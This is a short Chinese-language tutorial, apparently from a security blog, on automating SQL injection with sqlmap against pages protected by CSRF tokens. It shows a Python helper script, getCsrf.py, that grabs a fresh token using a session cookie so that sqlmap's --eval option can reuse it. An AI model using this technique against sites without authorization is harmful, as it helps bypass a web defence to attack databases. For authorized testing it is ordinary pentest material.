csrf token,每次提交一个页面都会改变的值。 网上很多教程都说burp结合sqlmap绕过csrf,个人感觉很麻烦,后看到外国牛人的writeup,介绍了sqlmap配合脚本脚本绕过csrf的限制,感觉比结合burp方便。首先我们需要写一个脚本,先获取csrf的值,然后结合sqlmap的--eval参数就可以绕过csrf。原理其实很简单,分两步走,第一步获取页面csrf的值,然后以获得的值加入header中结合sqlmap再加载漏洞脚本测试网站。
比如下面是获取csrf的python脚本getCsrf.py
import urllib2 import re def get_csrf(): # Load a page to generate a CSRF token opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'PHPSESSID=<insert Sycamore session id>')) page = opener.open('http://<insert host>/blog.php?view=2').read() # Extract the token match = re.search(r"window\.csrf = '(.+)';", page) return match.group(1)